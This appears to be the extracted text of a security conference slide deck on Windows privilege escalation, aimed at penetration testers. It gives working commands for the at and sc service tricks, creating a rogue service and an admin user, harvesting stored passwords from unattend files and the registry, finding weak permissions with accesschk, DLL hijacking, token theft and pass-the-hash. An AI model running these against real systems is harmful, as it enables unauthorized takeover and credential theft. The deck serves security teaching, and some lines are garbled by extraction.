

ENCYCLOPAEDIA OF WINDOWS PRIVILEGE ESCALATION














Linux Priv Esc



: Taviso LD_Preload

: SUID Binaries

: Race condition/Symlink

: Crappy perl/python script

: Bad permissions

Windows Priv Esc



: Latest win32k.sys font bug

: metasploit:getSystem()

: No suid

: No env passing





Google("Windows Privilege Escalation")

How do you escalate your privileges?

The process is quite simple actually; you need to get the system account to run a program that you can interact with. This is where the "at" command comes into play. The "at" command schedules a task as a specific time, unlike the "schtasks" command which runs a job under the account that scheduled it, the "at" command runs it as "SYSTEM".

Open a command prompt and type:

at 13:01 /interactive cmd

Must Be In The Administrators Group





Google("Windows Privilege Escalation")

@echo off @break off title root Cls echo Creating service. sc create evil binpath= "cmd.exe /K start" type= own type= interact > nul 2>&1 echo Starting service. sc start evil > nul 2>&1 echo Standing by... ping 127.0.0.1 - n 4 > nul 2 > &1echo Removing service. echo. sc delete evil > nul 2>&1

Must Be In The Administrators Group





Google("Windows Privilege Escalation")

Stickykeys

: Replace C:\windows\system32\sethc.exe

: Logout

: Hit shift a bunch

C:\program.exe

: Exploits apps that don't wrap

: C:\program files\fubar

=> c:\program.exe

: Not since windows 2000



Useful Windows Priv Esc

Explain some useful methods

: Citrix/RDP/Kiosk environments

: Local workstations, VDI's etc

: Post exploitation

Escalating privileges

: User => Higher user

: Network service => LocalSystem

: Admin => Domain Admin

Clear Text Credentials

Pure gold

: Install files, config files, admin notes

: c:\unattend.txt

[GuiUnattended]

AdminPassword=<CLEAR TEXT PASSWORD>

AutoLogon=Yes

AutoLogonCount=1

OemSkipRegional=1

OemSkipWelcome=1

ServerWelcome=No

TimeZone=290





BASE64(Credentials)

Slightly more difficult ©

: c:\sysprep.inf [Clear Text]

: c:\sysprep\sysprep.xml [Base64]

<AdministratorPassword>

<Value>UABhAHMAcwB3AG8AcqBkADEAQQBkAG0AaQBuAGkAcwB0AH

IAYQB0AG8AcgBQAGEAcwBzAHcAbwByAGQA</Value>

<PlainText>false</PlainText>

</AdministratorPassword>

Password 1 Administrator Password



More Easy Passwords

GrepFTW

: findstr /si password *.txt | *.xml | *.ini

VNC

: vnc.ini, ultravnc.ini

: Easily decrypted

Any FTP or other remote access client

: Most cached credentials can be decrypted

NirSoft

: http://www.nirsoft.net/password_recovery_tools.html



Passwords In Registry

VNC Again

: \\HKCU\Software\ORL\WinVNC3\Password


Autologin

: HKLM\SOFTWARE\Microsoft\
Windows NT\Currentversion\
Winlogon

: Clear text credentials

: Shell key

: UserInit key



reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"



Passwords In Registry

SNMP Parameters

: HKLM\SYSTEM\CurrentControlSet\Services\SNMP\

Putty

: HKCU\Software\SimonTatham\PuTTY\Sessions

: Clear text proxy credentials

reg query HKLM /f password /t REG_SZ /s | clip

reg query HKCU /f password /t REG_SZ /s | clip





GUI Attacks

Windows XP/2003

: Always check for GUI apps










GUI Attacks





Shatter Attacks

Windows XP/2003

: Anything running as SYSTEM with a window

: Can be attacked from the command line

Easy Wins

: Listview / Treeview

: RichTextBox

: EditBox

Ruxcon 2004

Shoot The Messenger






"win32 Shatter Attacks"

Shatter Attacks


Stuff like this still works : Directory listing as SYSTEM





Shatter Attacks

Stuff like this still works : Directory listing as SYSTEM





Directory Permissions

Default Permissions

```
C:\>cacls "Program Files"
C:\Program Files BUILTIN\Users:R
                  BUILTIN\Users: (OI) (CI) (IO)
                          GENERIC READ
                          GENERIC EXECUTE
                  BUILTIN\Power Users:C
                  BUILTIN\Power Users: (OI) (CI) (IO) C
                  BUILTIN\Administrators:F
                  BUILTIN\Administrators: (OI) (CI) (IO) F
                  NT AUTHORITY\SYSTEM: F
                  NT AUTHORITY\SYSTEM: (OI) (CI) (IO) F
                  BUILTIN\Administrators:F
                  CREATOR OWNER: (OI) (CI) (IO) F
```



When Installers Go Wild

Incorrect permissions

: Directly overwrite the binary

```
C:\Program Files\Symantec\pcAnywhere\awhost32.exe
Everyone: (OI) (CI) F
NT AUTHORITY\SYSTEM: (OI) (CI) F
```

```
C:\Program Files\Symantec\pcAnywhere\awrem32.exe
Everyone:(OI)(CI)F
```

NT AUTHORITY\SYSTEM: (OI) (CI) F
NT AUTHORITY\SYSTEM: (OI) (CI) F

Default Permissions

On newly created directories

```
C:\>ver
Microsoft Windows XP [Version 5.1.2600]
C:\>cacls \testperms
C:\testperms BUILTIN\Administrators:(OI)(CI)F
             NT AUTHORITY\SYSTEM: (OI) (CI) F
             VMXPSP2\Administrator:F
             CREATOR OWNER: (OI) (CI) (IO) F
             BUILTIN\Users: (OI) (CI)R
             BUILTIN\Users:(CI)(special access:)
                                FILE APPEND DATA
             BUILTIN\Users:(CI)(special access:)
                                FILE WRITE DATA
```



Default Permissions

On newly created directories

Default Permissions

On newly created directories



Metasploit Bug

http://blog.metasploit.com/2011/02/metasploit-framework-352-released.html

On February 1st, Eduardo Prado of Secumania notified us of a privilege escalation vulnerability on multiuser Windows installations of the Metasploit Framework.

The problem was due to inherited permissions that allowed an unprivileged user to write files in the Metasploit installation directory.



```
Administrator: Windows Command Processor
C:\testperms>whoami
hidden\brettadmin
C:\testperms>echo admin > admin.txt
C:\testperms>type admin.txt
admin
C:\testperms>
C:\testperms>
```

```
cmd (running as HIDDEN\testuser)
C:\testperms>whoami
hidden\testuser
C:\testperms>dir /q admin.txt
Volume in drive C has no label.
Volume Serial Number is BE81-206C
 Directory of C:\testperms
19/11/2011 12:06 p.m.
                                                  8 BUILTIN\Administrators admin.txt
                   1 File(s)
                                                8 bytes
                   Ø Dir(s) 35,323,875,328 bytes free
C:\testperms>echo user > admin.txt
C:\testperms>type admin.txt
user
C:\testperms>
```

Windows 7

: Authenticated Users

```
accesschk.exe -qwv \testperms\admin.txt
RW NT AUTHORITY\Authenticated Users
        FILE APPEND DATA
        FILE EXECUTE
        FILE READ ATTRIBUTES
        FILE READ DATA
        FILE READ EA
        FILE WRITE ATTRIBUTES
        FILE WRITE DATA
        FILE WRITE EA
        DELETE
        SYNCHRONIZE
        READ CONTROL
```

Quick Discovery

AccessChk

: Find weak directories

```
accesschk.exe -uwdqs users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
```

: Find weak files


```
accesschk.exe -uwqs users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
```

Cacls / ICacls

cacls "c:\Program Files" /T | findstr Users

Enumerate Auto Runs


Autoruns







Enumerate Auto Runs












Procmon

💐 Process Moni	itor - Sysinternals: www.sysinternals.com		<
File Edit Event Filter Tools Options Help			
🚅 🖫 💸		₹	
Process Name	Operation Path	Result	^
💹 Bginfo.exe	🔜 CreateFileM C:\WINDOWS\system32\netapi32.dll	SUCCESS	
💹 Bginfo.exe	🔜 CreateFileM C:\WINDOWS\system32\netapi32.dll	SUCCESS	
💹 Bginfo.exe	🔜 CloseFile	SUCCESS	
👺 Bginfo.exe	QueryOpen C:\bginfo\Riched32.dll	NAME NOT FOUND	
💹 Bginfo.exe	🔜 QueryOpen C:\WINDOWS\system32\riched32.dll	SUCCESS	
💹 Bginfo.exe	🔜 CreateFile C:\WINDOWS\system32\riched32.dll	SUCCESS	
💹 Bginfo.exe	🔜 CreateFileM C:\WINDOWS\system32\riched32.dll	SUCCESS	
💹 Bginfo.exe	🔜 CreateFileM C:\WINDOWS\system32\riched32.dll	SUCCESS	
💹 Bginfo.exe	➡CloseFile C:\WINDOWS\system32\riched32.dll	SUCCESS	
💹 Bginfo.exe	🔜 QueryOpen C:\bginfo\RICHED20.dll	NAME NOT FOUND	
💹 Bginfo.exe	🔜 QueryOpen = C:\WINDOWS\system32\riched20.dll	SUCCESS	
💹 Bginfo.exe	🔜 CreateFile C:\WINDOWS\system32\riched20.dll	SUCCESS	
💹 Bginfo.exe	🔜 CreateFileM C:\WINDOWS\system32\riched20.dll	SUCCESS	
Paista aus	CrastaEilaM C3317IMDO317C3 austam223 riahad20 dll	ellened	
<		<u> ></u>	
Showing 919 of 55,5	55 events (1.6%) Backed by page file		**





Application DLL Searching

DLL Redirection

: Can specify the dll to use

: .local / .manifest

Known DLLs cannot be redirected

: The common system dlls (KnownDLLs reg key)

Search Path

: Path directories with weak permissions

: File doesn't exist in system32



Tasks And Jobs

System tasks

: AT – usually runs tasks as system

: Scheduled tasks - can run as user

Viewing tasks

: c:\windows\tasks

: c:\windows\system32\tasks

Commands

: **AT**

: schtasks

: compmgmt.msc


Find a task pointing to an insecure location

Stuxnet Task Priv Esc



Orphaned Installs

- : Missing files in writable locations
- : C:\hp\services







AccessChk

: Find weak permissions

accesschk.exe -uwcqv *

Windows XP SP3

```
DCOMLaunch
RW BUILTIN\Administrators
SERVICE_ALL_ACCESS
RW BUILTIN\Power Users
SERVICE_QUERY_STATUS
SERVICE_QUERY_CONFIG
SERVICE_CHANGE_CONFIG
SERVICE_INTERROGATE
SERVICE_ENUMERATE_DEPENDENTS
READ_CONTROL
```

Windows XP SP1

```
SSDPSRV
RW NT AUTHORITY\SYSTEM
SERVICE_ALL_ACCESS
RW BUILTIN\Administrators
SERVICE_ALL_ACCESS
RW NT AUTHORITY\Authenticated Users
```

upnphost

RW NT AUTHORITY\SYSTEM

SERVICE_ALL_ACCESS

RW BUILTIN\Administrators

SERVICE_ALL_ACCESS

RW NT AUTHORITY\Authenticated Users

SERVICE ALL ACCESS

SERVICE ALL ACCESS

INSOMNA

Permissions

Permission	Good For Us?
SERVICE_CHANGE_CONFIG	Can reconfigure the service binary
WRITE_DAC	Can reconfigure permissions, leading to SERVICE_CHANGE_CONFIG
WRITE_OWNER	Can become owner, reconfigure permissions
GENERIC_WRITE	Inherits SERVICE_CHANGE_CONFIG
GENERIC_ALL	Inherits SERVICE_CHANGE_CONFIG



Service control

: sc.exe

C:\Tools>sc qc upnphost

[SC] GetServiceConfig SUCCESS

SERVICE NAME: upnphost

TYPE : 20 WIN32_SHARE_PROCESS

START TYPE : 3 DEMAND START

ERROR_CONTROL : 1 NORMAL

BINARY PATH NAME : C:\WINDOWS\System32\svchost.exe -k

LocalService

LOAD ORDER GROUP :

TAG : 0

DISPLAY_NAME : Universal Plug and Play Device Host

DEPENDENCIES : SSDPSRV

SERVICE_START_NAME : NT AUTHORITY\LocalService



Service control

: sc.exe

```
sc config upnphost binpath= "net user hax /add"
sc config upnphost obj= ".\LocalSystem" password=""
net stop upnphost
net start upnphost
```

Other Permission Issues

Read and write sensitive keys

- : NtGdiEnableEudc Exploit (MS11-011)
- : Service Tracing key (MS10-059) (Read Cesars Work)
- : Registry symlink vuln (MS10-021)

Processes, Threads, Handles, Pipes, Shared memory

- : Inject code into unsecured processes
- : Steal process/thread tokens
- : Hijack handles for write access
- : Long pipes are long

AccessChk

: Has syntax for checking most of these

accesschk.exe /?



Token Impersonation

What is impersonation?

: The ability of a thread to execute using different a different security token

Requires SelmpersonatePrivilege

: ASPNET, IWAM_computername

: Local Service, Network Service

Token Reading

: Cesar Cerrudo – Token Kidnapping 1/2/3 (Churrasco)

: MWR InfoSecurity - Whitepaper



ImpersonateNamedPipe

@stake, Inc.
www.atstake.com

Security Advisory

Advisory Name: Named Pipe Filename Local Privilege

Escalation


Release Date: 07/08/2003

Application: Microsoft SQL Server

Platform: Windows NT/2000/XP

Severity: Local privilege escalation







Admin -> Domain Account

Incognito

: luke_jennings

: Standalone or Metasploit

: Finds usable delegation tokens

Impersonate

: Snarf anyone's token from running processes

Process Injection

: Administrator can hijack any users process



Admin -> Domain Account



: http://www.ampliasecurity.com/research.html

Improved 'Pass The Hash'

: Retrieves hashes from LSASS

: Modifies in memory current user hashes

Steal once use many

: Grab a domain account hash and travel



In Summary

User -> Admin

: Can take a bit of time

: Weak file permissions are rife

IIS / Network Service -> SYSTEM

: Totally doable

: Abused functionality rather than vulnerability

Admin -> Domain Account

: Is what you want



www.insomniasec.com